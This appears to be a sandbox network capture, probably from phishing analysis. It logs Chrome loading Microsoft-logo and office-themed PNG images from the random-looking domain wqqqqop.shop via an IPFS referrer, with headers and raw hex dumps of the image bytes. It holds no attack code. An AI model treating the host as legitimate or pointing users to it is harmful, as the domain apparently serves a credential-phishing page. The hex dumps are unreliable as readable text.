2024-05-27 17:30:43 UTC	330	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 80 00 00 00 80 08 03 00 00 00 f4 e0 91 f9 00 00 00 03 73 42 49 54 08 08 08 db e1 4f e0 00 00 00 0f 50 4c 54 45 47 70 4c f2 50 22 7f ba 00 00 a4 ef ff b9 00 a0 04 f9 f2 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 01 62 4b 47 44 00 88 05 1d 48 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 00 62 49 44 41 54 78 9c ed ce 49 0d 00 30 10 03 b1 f4 e0 8f b9 52 17 42 be 1e 00 23 67 35 e5 b7 9b 02 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: PNGIHDRsBITOPLTEGpLP"tRNS@fbKGDH_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-bIDATxI0RB#g5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.16	55939	104.21.96.107	443	6892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:43 UTC	619	OUT	GET /static/media/microsoft_logo.png/ HTTP/1.1 Host: aea14i7zphg.wqqqqop.shop Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://cloudflare-ipfs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 17:30:43 UTC	800	IN	HTTP/1.1 200 OK Date: Mon, 27 May 2024 17:30:43 GMT Content-Type: image/png Content-Length: 1552 Connection: close Content-Disposition: inline; filename="microsoft_logo.png" Last-Modified: Sat, 04 Nov 2023 15:12:53 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NkUwawCMfzBgiXNbs2iqEOlYb1FrVq4xWxf60CjoIe6ZXd10U7UdjqgQKJ6ruNEbx58pHA2gxiEb5KRgJIglKZ89IWQ6ATG5RAdN6XA247fm6emDPA1kOSlkPOwlIlQgmQDiYoT3V8%2FHpRw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a7bc053e7a7ca5-EWR alt-svc: h3=":443"; ma=86400
2024-05-27 17:30:43 UTC	1369	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 6c 00 00 00 18 08 06 00 00 00 1f d5 18 1a 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 05 5c 49 44 41 54 68 81 ed 59 4d 8e db 36 14 fe 1e 4d 64 19 bb 27 b0 d1 0b 8c 6f 10 77 d3 2e e3 03 14 b0 73 02 ca 22 b4 1e cf da 90 2c 9d a0 0a d0 03 b8 cb 76 53 e5 06 ce 05 52 fb 04 75 ba 0c 44 be 2e 44 6a 18 cd 9f 27 c0 c0 0e e0 6f 33 e6 e3 23 f9 a8 8f 7c ef f1 0d fd 37 fd 91 71 24 5e 6f Data Ascii: PNGIHDRlsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-\IDAThYM6Md'ow.s",vSRuD.Dj'o3#\|7q$^o
2024-05-27 17:30:43 UTC	183	IN	Data Raw: 4d 7d 37 f7 da 27 3b d6 da bc 28 8a c3 6a b5 da 86 b7 2e 98 ab 7d 32 18 63 ba d9 e6 7d 08 09 9d 01 98 9d e4 86 d5 75 bd 13 42 dc 00 80 b5 76 e7 e5 2e 1b 8c 98 79 24 a5 ec 9e be d2 bd 93 5a 58 6b 6f 80 f6 2d 07 00 48 d3 74 ee 4e 63 5b e9 70 2e 6a e3 75 dd 43 fb 0e 5c a5 a3 12 42 cc bb 15 0c 63 4c e9 c9 f2 6f a2 40 e7 00 60 b3 5e af cb ee 5c 9d aa c9 01 40 15 ce 15 ee 2d 70 a5 7e 2f 51 92 24 a5 b5 36 72 ff 95 d8 d2 39 a4 f5 17 1c 8f b3 72 89 17 3c 8d 0b 61 df 19 2e 84 5d 70 c1 4b e2 7f 34 9a bf 89 ea 95 9e 1f 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: M}7';(j.}2c}uBv.y$ZXko-HtNc[p.juC\BcLo@`^\@-p~/Q$6r9r<a.]pK4IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.16	55935	104.21.96.107	443	6892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:43 UTC	618	OUT	GET /static/media/key_workshcool.png HTTP/1.1 Host: aea14i7zphg.wqqqqop.shop Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://cloudflare-ipfs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 17:30:43 UTC	853	IN	HTTP/1.1 200 OK Date: Mon, 27 May 2024 17:30:43 GMT Content-Type: image/png Content-Length: 3716 Connection: close Content-Disposition: inline; filename="key_workshcool.png" Last-Modified: Sat, 04 Nov 2023 15:28:20 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=56XUtq6XUbSVjtiINkyFZJU3GdQtju5YZJtEgPz630vsybbpWWGeX%2FPqDe7USi5rY12wJNaBYLk0Jh5H%2BMVA03owS0YfN97Eg3eCmTJUm55NdS0LT37D%2BzEFK6Pjlkw91caIdFgWN04kqkI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a7bc053adf8c05-EWR alt-svc: h3=":443"; ma=86400
2024-05-27 17:30:43 UTC	516	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 0d d0 49 44 41 54 78 9c ed dd 7f 70 1c e5 79 07 f0 e7 79 f7 8c 14 24 41 81 da 9e f2 cb 53 c7 09 49 c0 21 a9 6b 87 d4 f2 ed ed e9 14 08 16 4d f9 61 c0 e0 24 d0 e9 b8 d0 34 7f 74 86 0e ed 34 93 94 3f 42 27 43 3b c9 a4 d0 96 66 48 9b 14 02 2d bf ec 41 e0 80 d0 dd ed 59 4e 4d 1a 33 49 68 0d 89 Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-IDATxpyy$ASI!kMa$4t4?B'C;fH-AYNM3Ih
2024-05-27 17:30:43 UTC	1369	IN	Data Raw: 07 80 5b 6d 06 ea 64 00 26 99 f9 8e 6a b5 fa f7 44 24 69 d5 91 05 1d 1f 2c d7 75 4b 44 f4 f5 24 bb bc 79 d8 c9 cc 37 55 2a 95 1f a5 5d 48 a7 ea d8 60 0d 0f 0f f7 d5 eb f5 bb 00 dc c2 cc 2d d5 09 60 0f 11 fd 90 99 f7 10 d1 4f 00 bc 41 44 47 88 a8 c1 cc 7d cc dc 27 22 4b 99 f9 bd 00 2e 00 b0 ca 18 73 5a 2b c7 10 91 63 cc 7c bb ef fb f7 10 11 5a f9 ed 3b 41 47 06 cb f3 bc 77 8b c8 93 cc 7c 41 9c ed 01 bc 05 e0 49 66 7e dc 71 9c 4a b9 5c fe 69 2b c7 db b0 61 83 73 e8 d0 a1 df 26 a2 21 00 1b 89 e8 a2 b8 bf 05 f0 c4 29 a7 9c b2 71 6c 6c ec 68 2b c7 ec 76 1d 17 ac 7c 3e bf 9a 88 46 8d 31 4b e6 da 16 c0 3e 22 fa 72 6f 6f ef 03 4f 3f fd f4 ff b6 b1 86 0f 1b 63 36 03 b8 99 99 7b e6 da 5e 44 be db d3 d3 73 c5 d8 d8 d8 6b ed aa 21 eb 3a 2a 58 ae eb 8e 10 d1 43 cc dc Data Ascii: [md&jD$i,uKD$y7U]H`-`OADG}'"K.sZ+c\|Z;AGw\|AIf~qJ\i+as&!)qllh+v\|>F1K>"rooO?c6{^Dsk!:XC
2024-05-27 17:30:43 UTC	1369	IN	Data Raw: 9f ed 06 60 2f 33 7f e4 e4 e5 22 72 66 1a f5 d8 64 25 58 22 72 a6 31 a1 8d e3 82 4f ac 67 4e ce bf b7 d0 fd 24 01 40 e8 df c7 cc 5d 1f 2c 5b e3 58 a1 b7 60 8c 31 5d 3d 73 8b e3 38 51 6f 47 9f 61 b5 90 14 58 09 96 89 68 ae 00 bc 65 e3 f8 29 0a fd fb 00 0c d8 2e c4 36 5b 2d 56 54 97 37 e7 cd e4 2c 8b 0a 10 33 77 fd 24 6e b6 ae 0a a3 4e a8 fb 6d 1c 3f 2d cc 1c 3a 83 8d 88 74 fd 3c a7 b6 5a ac a8 b7 82 7f dd d2 f1 53 21 22 4b c3 96 03 e8 fa b7 76 6c 0d 90 86 b6 58 00 22 df 29 ec 06 cc bc 32 6c b9 31 26 d6 4d f7 2c b3 d5 15 ee 8d 58 d5 ec 35 f5 4c 9b 19 5f 8b 1a 08 8d fa f7 e8 1a b6 ba c2 5d 61 0b 67 ee f4 77 e5 73 e0 c6 98 35 4d 6e bc 3f 6f bb 1e db ac 04 cb 71 9c d0 60 19 63 96 b8 ae 6b f5 b9 74 5b 00 5c 16 b1 ea 50 b9 5c de 6f b5 98 14 58 09 56 10 04 bb a3 Data Ascii: `/3"rfd%X"r1OgN$@],[X`1]=s8QoGaXhe).6[-VT7,3w$nNm?-:t<ZS!"KvlX")2l1&M,X5L_]agws5Mn?oq`ckt[\P\oXV
2024-05-27 17:30:43 UTC	462	IN	Data Raw: 3d 0c e0 86 4e 08 57 e6 83 75 b2 52 a9 74 7a 10 04 17 11 d1 85 00 ce 23 a2 73 45 e4 34 63 cc 69 44 44 22 f2 86 31 e6 75 22 7a 1d c0 61 66 7e 01 c0 0f c2 82 74 b2 a8 60 11 d1 6d 00 62 df 2b 34 c6 fc bc 52 a9 84 be b1 d4 4c 96 c2 d5 75 c1 4a 52 93 60 b5 aa 5a ad 56 e7 f5 ed c2 38 57 8b 00 1e 9d 9a 9a da 98 e6 a7 82 33 73 f2 ae 4e a8 54 2a 3b 8c 31 1f 9f e3 ed 9f ab fb fb fb 1f 5c b5 6a d5 22 9b b5 bd 9d 06 2b 83 b2 10 2e 0d 56 46 75 7a b8 34 58 19 16 37 5c 7d 7d 7d 0f d9 0e 97 06 2b e3 e2 84 cb 18 73 95 ed 70 e9 55 61 82 5c d7 fd 4b 66 fe 42 c8 aa 79 5f 15 46 89 73 b5 28 22 8f 1d 3d 7a f4 7a 1b 57 8b da 62 75 89 98 af f3 5f d5 df df ff a0 8d 7a 34 58 5d 24 e6 44 24 57 db a8 45 83 d5 65 e2 9c 73 d9 a0 c1 ea 42 95 4a 65 07 11 fd 61 9a 35 68 b0 ba d7 ff a4 79 Data Ascii: =NWuRtz#sE4ciDD"1u"zaf~t`mb+4RLuJR`ZV8W3sNT*;1\j"+.VFuz4X7\}}}+spUa\KfBy_Fs("=zzWbu_z4X]$D$WEesBJea5hy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.16	55936	104.21.96.107	443	6892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:43 UTC	621	OUT	GET /static/media/person_workshcool.png HTTP/1.1 Host: aea14i7zphg.wqqqqop.shop Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://cloudflare-ipfs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 17:30:43 UTC	856	IN	HTTP/1.1 200 OK Date: Mon, 27 May 2024 17:30:43 GMT Content-Type: image/png Content-Length: 5421 Connection: close Content-Disposition: inline; filename="person_workshcool.png" Last-Modified: Sat, 04 Nov 2023 15:29:02 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gXJe4PHgch%2FNmY6LIxm82gpWI7ajeBEkeqz4GAk1fGp%2BJAQRmNgWlR4szgDXVwkIbR%2FUP0tDYaYci30523GkWHoODyvSOlBX2XgtVY9yZllj9dmMovv8giQTdsVZ1zJA3LAVlBF4A0PlpsE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a7bc053a42422b-EWR alt-svc: h3=":443"; ma=86400
2024-05-27 17:30:43 UTC	513	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 14 79 49 44 41 54 78 9c ed 9d 7f 70 55 e5 99 c7 bf cf 7b f3 4b b1 e1 47 30 39 e7 92 40 90 09 dd 2e a2 19 50 28 62 86 19 5b 7e d8 66 97 71 00 b7 2d 54 94 15 ec ba 95 da d2 15 4b 6d c5 ba 0b 4a c1 ca 6e b5 42 0b d2 6a 15 0b bb 2a 22 ab 66 14 84 22 a6 1b 31 36 38 ea d0 92 00 b9 f7 9c 7b 6b 08 Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-yIDATxpU{KG09@.P(b[~fq-TKmJnBj*"f"168{k
2024-05-27 17:30:43 UTC	1369	IN	Data Raw: 24 83 2f 8d a5 aa ea 10 4d d3 fe 89 99 97 0a 21 be ec b6 1e 3b 20 a2 43 ba ae ff 9a 88 5e 08 06 83 67 dd d6 13 2f be 32 96 aa aa 85 9a a6 dd 0d e0 bb 44 54 e0 b6 1e 87 68 21 a2 6d 9d 9d 9d eb 4a 4a 4a 42 6e 8b 89 15 5f 18 4b 55 d5 b1 cc fc 63 66 5e 04 20 d7 6d 3d 2e 71 9e 88 7e 07 60 8d 2c cb 0d 6e 8b 19 0c 4f 1b 2b 14 0a 95 08 21 7e c8 cc 77 21 7d 0d d5 97 0e 00 db 85 10 0f 4a 92 54 ef b6 18 33 3c 69 ac 4f 3f fd f4 0b 1d 1d 1d 3f 62 e6 ef 03 c8 73 5b 8f 47 69 03 b0 41 08 b1 56 92 a4 56 b7 c5 f4 c5 53 c6 ea 5a c8 5c cc cc 6b 00 c8 6e eb f1 03 44 14 06 70 bf 24 49 cf 7a 69 a9 c2 33 c6 8a 46 a3 e3 da db db 37 0b 21 6e 72 5b 8b 4f 39 00 60 59 30 18 fc d8 6d 21 00 20 dc 16 c0 cc 59 e1 70 78 55 67 67 e7 91 8c a9 92 a2 82 99 0f 87 c3 e1 95 cc 9c e5 b6 18 57 23 Data Ascii: $/M!; C^g/2DTh!mJJJBn_KUcf^ m=.q~`,nO+!~w!}JT3<iO??bs[GiAVVSZ\knDp$Izi3F7!nr[O9`Y0m! YpxUggW#
2024-05-27 17:30:43 UTC	1369	IN	Data Raw: 51 b7 65 98 71 a7 d1 c5 7e c6 8a 44 22 13 01 4c b5 5d 4e 02 38 b1 b3 c6 ab 9c 3a 75 ca 6d 09 86 30 f3 8d 8a a2 fc 7d df eb fd 8c a5 69 da ed 8e 28 4a 80 44 7f fb 4b 05 3c fe bd f7 db a4 79 49 75 dd ae 62 1e f3 9d d3 63 1d 66 9b 53 63 a5 bd bd 1d cb 97 2f 47 4b 4b 4b bf b6 ec ec 6c 3c fe f8 e3 18 3e 7c 78 52 63 c4 c2 b7 be f5 2d db c7 b0 1a 66 fe 06 33 df df bb b8 c8 25 11 4b 51 94 e9 00 92 de 53 e6 47 72 72 72 4c 77 25 77 74 74 e0 95 57 5e 71 58 91 af 18 1d 89 44 2e 29 ff 79 89 b1 88 c8 97 d1 ca 2a 66 cd 9a 65 ba 1a ff e6 9b 6f e2 f4 e9 d3 0e 2b f2 0f ba ae df da fb eb 4b 8c d5 75 32 69 da 92 9b 9b 3b 60 d4 da bd 7b b7 c3 8a fc 03 33 5f f2 0f d7 63 ac ae 7c 76 5f 1c 77 6b 27 03 45 ad aa aa aa 4c d4 32 81 88 be 18 8d 46 7b fc 23 7a 35 dc ec 8e 24 6f 31 58 Data Ascii: Qeq~D"L]N8:um0}i(JDK<yIubcfSc/GKKKl<>\|xRc-f3%KQSGrrrLw%wttW^qXD.)y*feo+Ku2i;`{3_c\|v_wk'EL2F{#z5$o1X
2024-05-27 17:30:43 UTC	1369	IN	Data Raw: c3 9f dd d5 e2 1e 25 25 25 b8 ed b6 db 2c eb 6f f1 e2 c5 28 2d 2d b5 ac 3f bf 41 44 75 c0 c5 6a 33 ef b9 a8 c5 55 3e fa e8 23 4b 4b 6d ef da b5 0b 75 75 69 fb 01 00 5d d7 0f 03 17 0f 10 30 3e 74 2f 85 d1 75 1d cf 3c f3 0c 5e 7f fd 75 4b fb 8d 46 a3 58 bb 76 2d e6 cc 99 83 45 8b 16 a5 dd 06 0b 66 fe 23 d0 15 b1 64 59 fe 04 40 fc 4b ce 3e a5 ad ad 0d eb d7 af b7 dc 54 bd 79 ed b5 d7 b0 61 c3 86 74 2b d0 16 2d 2e 2e 3e 0a 5c 9c 63 31 11 bd eb ae 26 67 e8 ec ec c4 c6 8d 1b 63 4e 47 0e 04 02 18 3e 7c 78 4f 82 df f0 e1 c3 11 08 04 62 7a f6 fd f7 df c7 c6 8d 1b d3 a9 ac 64 cf 27 5f 4f 6a 32 33 57 01 f8 07 57 e4 38 c8 d6 ad 5b f1 c1 07 1f 0c 78 4f 4e 4e 0e a6 4d 9b 86 eb af bf 1e 57 5f 7d 75 bf 85 ce f6 f6 76 d4 d5 d5 a1 a6 a6 06 87 0e 1d 32 4d 51 06 80 0f 3e f8 Data Ascii: %%%,o(--?ADuj3U>#KKmuui]0>t/u<^uKFXv-Ef#dY@K>Tyat+-..>\c1&gcNG>\|xObzd'_Oj23WW8[xONNMW_}uv2MQ>
2024-05-27 17:30:43 UTC	801	IN	Data Raw: a0 00 53 a6 4c c1 2d b7 dc 62 ba 6d df 62 74 22 5a 20 cb f2 ff 58 d1 99 a5 13 96 70 38 7c 2f 80 5f 58 d9 67 06 67 60 e6 7b 46 8d 1a f5 4b ab fa b3 34 ba 04 83 c1 c7 89 68 b5 95 7d 66 b0 1f 22 7a c0 4a 53 01 16 47 ac 6e 14 45 79 84 99 57 da d1 77 06 cb 79 3c 18 0c 7e df ea 4e 6d 99 0f c9 b2 7c 3f 80 9f d9 d1 77 06 eb 20 a2 75 b2 2c ff c0 96 be ed e8 b4 9b 70 38 bc 12 c0 80 49 f7 19 dc 81 88 1e ed 0a 00 f6 f4 6f 57 c7 dd 74 4d e8 37 c0 81 df 16 33 c4 84 ce cc df b3 7a 4e d5 17 47 96 b1 c3 e1 f0 2d 00 9e 05 70 b9 13 e3 65 30 a5 4d 08 b1 58 92 a4 3f d8 3d 90 63 ef 47 22 91 c8 97 35 4d db 05 c0 fe 2d c8 19 8c 88 08 21 fe 51 92 a4 3f 39 31 98 63 1f 4f 45 45 45 ef ea ba 3e 09 40 b5 53 63 66 e8 e1 3d 22 9a ea 94 a9 00 87 e7 3d c5 c5 c5 8d ad ad ad 33 00 6c 76 72 Data Ascii: SL-bmbt"Z Xp8\|/_Xgg`{FK4h}f"zJSGnEyWwy<~Nm\|?w u,p8IoWtM73zNG-pe0MX?=cG"5M-!Q?91cOEEE>@Scf="=3lvr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.16	55938	104.21.96.107	443	6892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:43 UTC	617	OUT	GET /static/media/person_office.png HTTP/1.1 Host: aea14i7zphg.wqqqqop.shop Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://cloudflare-ipfs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 17:30:43 UTC	854	IN	HTTP/1.1 200 OK Date: Mon, 27 May 2024 17:30:43 GMT Content-Type: image/png Content-Length: 6045 Connection: close Content-Disposition: inline; filename="person_office.png" Last-Modified: Sat, 04 Nov 2023 15:29:22 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mSClekFXqqUkXXxW0mAFZB%2BTlY2VL8BG0Nr7tgkizxD%2FqNJ9nYUMnrAbEEskvxmI3LrBO8gJ2T2cRTV%2FEhqNU%2FChwxvueLQk88QNN4f7VmsEaC3l1CqfxDavyHdOK1Y0fGcrfAxL8SxLBTM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a7bc055f714376-EWR alt-svc: h3=":443"; ma=86400
2024-05-27 17:30:43 UTC	515	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 16 e9 49 44 41 54 78 9c ed 9d 7b 74 54 d5 bd c7 bf bf 33 03 89 49 44 34 24 99 39 93 40 80 46 0c 5c b4 70 91 a7 14 17 82 17 2c 95 a5 20 74 15 14 94 8b 14 6a 97 0f 2a 0f 91 96 b6 5c 50 5b 7b bd 5e e9 03 85 42 d4 bb 14 84 5e 29 f5 5a b0 0a 28 20 a8 08 84 08 88 26 3c 32 e7 cc 04 52 5e 49 20 24 Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-IDATx{tT3ID4$9@F\p, tj*\P[{^B^)Z( &<2R^I $
2024-05-27 17:30:43 UTC	1369	IN	Data Raw: b8 d2 b0 42 a1 50 aa a2 28 13 99 79 ba 20 08 03 ed d6 63 06 44 b4 53 55 d5 57 89 e8 6d 51 14 ab ec d6 13 2d ae 32 ac 50 28 94 a9 28 ca 2c 00 8f 11 51 ba dd 7a 2c e2 1c 11 ad aa ad ad 7d 21 27 27 27 68 b7 98 48 71 85 61 85 42 a1 ae cc bc 80 99 27 03 48 b2 5b 8f 4d 54 13 51 01 80 25 7e bf ff a8 dd 62 5a c2 d1 86 15 0c 06 73 04 41 f8 19 33 cf 40 db 35 a8 c6 d4 00 78 4b 10 84 5f f8 7c be 12 bb c5 e8 e1 48 c3 3a 75 ea d4 f5 35 35 35 f3 99 f9 49 00 c9 76 eb 71 28 17 01 bc 28 08 c2 52 9f cf 57 69 b7 98 c6 38 ca b0 ea 16 32 a7 30 f3 12 00 7e bb f5 b8 01 22 92 00 cc f3 f9 7c 6f 38 69 a9 c2 31 86 55 56 56 d6 fd d2 a5 4b cb 05 41 18 6e b7 16 97 f2 31 80 47 45 51 3c 64 b7 10 00 10 ec 16 c0 cc 5e 49 92 9e a9 ad ad 3d 90 30 aa 98 18 ca cc 7b 24 49 9a cb cc 5e bb c5 d8 Data Ascii: BP(y cDSUWmQ-2P((,Qz,}!'''hHqaB'H[MTQ%~bZsA3@5xK_\|H:u555Ivq((RWi820~"\|o8i1UVVKAn1GEQ<d^I=0{$I^
2024-05-27 17:30:43 UTC	1369	IN	Data Raw: 72 22 ea ac 95 87 5e d3 b0 24 49 9a 06 e0 35 d3 95 99 8c a2 28 58 b2 64 09 0e 1e 3c a8 db 26 23 23 03 b3 66 cd 42 8f 1e 3d 0c 19 b3 b0 b0 10 2b 57 ae 6c f6 ee d8 ab 57 2f cc 9f 3f 1f 82 e0 fe b8 13 22 9a ea f7 fb 57 37 2e d7 fb c9 a6 9b ac c7 12 d6 ad 5b d7 ac 51 0d 1c 38 10 4b 97 2e 35 cc a8 00 a0 77 ef de 58 ba 74 29 fa f4 e9 a3 db a6 a8 a8 08 eb d7 af 37 6c 4c 9b f9 77 ad c2 26 86 15 0e 87 7b 03 18 60 ba 1c 93 29 2e 2e c6 86 0d 1b 74 eb 87 0f 1f 8e c7 1e 7b 0c 29 29 c6 07 16 25 27 27 63 f6 ec d9 18 39 72 a4 6e 9b 77 df 7d 17 47 8f 1e 35 7c 6c ab 61 e6 3b 64 59 ee d9 b8 bc 89 61 29 8a 32 d5 12 45 26 a2 aa 2a 56 ac 58 01 55 55 35 eb 87 0f 1f 8e 69 d3 a6 99 fa 28 12 04 01 53 a7 4e c5 90 21 43 34 eb 15 45 c1 8a 15 2b c0 ec 98 0c da b1 30 a5 71 c1 35 bf d9 Data Ascii: r"^$I5(Xd<&##fB=+WlW/?"W7.[Q8K.5wXt)7lLw&{`)..t{))%''c9rnw}G5\|la;dYa)2E&*VXUU5i(SN!C4E+0q5
